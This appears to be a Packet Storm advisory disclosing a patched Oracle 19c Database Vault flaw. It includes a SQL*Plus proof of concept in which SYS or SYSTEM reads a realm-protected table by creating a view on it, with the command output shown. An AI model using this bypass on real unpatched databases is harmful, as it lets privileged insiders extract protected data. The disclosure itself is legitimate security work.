exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle 19c Access Bypass

Oracle 19c Access Bypass
Posted Mar 7, 2023
Authored by Emad Al-Mousa

Oracle Database Vault had a flaw that would allow unauthorized privileged users to extract data from a protected table. Oracle 19c versions 19.18 and below are affected. Fixed in the Oracle Critical Patch Update October 2022.

tags | exploit
SHA-256 | 9793cd8f9b7072bec5dd6bf77759bc5e3eb357c40e0c937e857487981ea190ab

Oracle 19c Access Bypass

Change Mirror Download
Title: Oracle Database Vault Protected Table With Realm Data Extraction Vulnerability
Product: Database
Manufacturer: Oracle
Affected Version(s): 19c [19.18 and below]
Risk Level: Medium
Solution Status: Fixed in Oracle Critical Patch Update October 2022 [back-port patch for 21c version]
CVE Reference: N/A, Patch Backported in Oracle CPU OCT 2022...fixed in Oracle 21c release on-wards
Author of Advisory: Emad Al-Mousa

Overview:

Oracle Database Vault is a security feature that provides controls to prevent unauthorized privileged users from accessing sensitive data, prevent unauthorized database changes, and helps customers meet industry, regulatory, or corporate security standards.


*****************************************
Vulnerability Details:

data extraction/exfiltration of a sensitive table that is protected with a security realm was possible by privileged account. The DB vault is designed to protect against privileged accounts being able to access confidential data !!


*****************************************
Proof of Concept (PoC):

A sensitive table called “HR.sensitive_table” in PDB1 under HR schema will be protected with REALM through the following steps:

sqlplus c##dbv_owner_root_backup/dbv_2020@PDB1

SQL> begin
DBMS_MACADM.CREATE_REALM (
realm_name=> 'HR Access Protection',
description=> 'HR schema in PDB1',
enabled=> DBMS_MACUTL.G_YES,
audit_options=> DBMS_MACUTL.G_REALM_AUDIT_FAIL,
realm_type=> 1);
end;
/

SQL> begin
DBMS_MACADM.ADD_OBJECT_TO_REALM(
realm_name=> 'HR Access Protection',
object_owner=> 'HR',
object_name=> 'sensitive_table',
object_type=> 'TABLE');
end;
/

SQL> begin
DBMS_MACADM.ADD_AUTH_TO_REALM(
realm_name=> 'HR Access Protection',
grantee=> 'HR',
auth_options=> DBMS_MACUTL.G_REALM_AUTH_OWNER);
end;
/

Now as SYS user I shouldn’t be able to view the data of table HR.sensitive_table as expected…..However I was able to create a view under HR schema to “extract” the confidential data !


So, the exploit was basically executing the following two SQL statements (view creation of the protected realm table and then viewing the data from the view. The exploit required two system privileges: create any view, select any view)

SQL> create or replace view HR.DUMMY_V as select * from HR.sensitive_table;

SQL> select * from HR.DUMMY_V;

Per documentation to revoke DDL authorization, you can use DBMS_MACADM.UNAUTHORIZE_DDL procedure:

https://docs.oracle.com/database/121/DVADM/release_changes.htm#DVADM70086

based on that let us simulate:

ORACLE19c > sqlplus c##dbv_owner_root_backup/XXXXXXX@PDB1


SQL> select * from DBA_DV_DDL_AUTH;

GRANTEE
——————————————————————————–
SCHEMA
——————————————————————————–
%
%


SQL> exec DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’,’HR’);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’,’HR’); END;

*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYS on schema
HR is not found.
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1435
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1678
ORA-06512: at line 1


SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’, ‘%’);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’, ‘%’); END;

*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYS on schema
% is not found.
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1435
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1678
ORA-06512: at line 1

Then, i tried to execute the same procedure for SYSTEM account:

SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘%’);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘%’); END;

*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYSTEM on
schema % is not found.
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1435
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1678
ORA-06512: at line 1


SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘HR’);
BEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘HR’); END;

*
ERROR at line 1:
ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYSTEM on
schema HR is not found.
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1435
ORA-06512: at “DVSYS.DBMS_MACADM”, line 1678
ORA-06512: at line 1

For the sake of illustration, i granted SYSTEM account DDL authorization to see if the view is updated ( and view was updated successfully):

SQL> EXEC DBMS_MACADM.AUTHORIZE_DDL(‘SYSTEM’, ‘HR’);

PL/SQL procedure successfully completed.

SQL> select * from DBA_DV_DDL_AUTH;

GRANTEE
——————————————————————————–
SCHEMA
——————————————————————————–
%
%

SYSTEM
HR

After that i have removed the DDL authorization as shown below:

SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘HR’);

PL/SQL procedure successfully completed.

SQL> select * from DBA_DV_DDL_AUTH;

GRANTEE SCHEMA
——————————————————————————————————————————– ——————————————————————————————————————————–
% %

This doesn’t make any difference as SYSTEM account as shown below will still be able to create the view even though DBMS_MACADM.UNAUTHORIZE_DDL was executed successfully:

ORACLE19c > sqlplus system/XXXXX@PDB1


SQL> select * from HR.sensitive_table;
select * from HR.sensitive_table
*
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> create or replace view HR.sensitive_table3c as select * from HR.sensitive_table;

View created.

SQL> select * from HR.sensitive_table3c ;

FNAME LNAME EXECUTIVE_COMPENSATION
———- ———- ——————————
MRIO BASIL 1200000
Thomas Raynold 1100000
Jessica Rodrigo 3200000



*****************************************
- Defensive Techniques:

configure security auditing.
ensure database accounts have strong passwords, and rotate passwords regularly if possible.
pro-actively patch your systems and database systems.


*****************************************
References:
https://databasesecurityninja.wordpress.com/2023/03/07/oracle-database-vault-protected-table-with-realm-data-extraction-vulnerability/
https://docs.oracle.com/database/121/DVADM/release_changes.htm#DVADM70086
https://www.oracle.com/security-alerts/cpuoct2022.html



Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close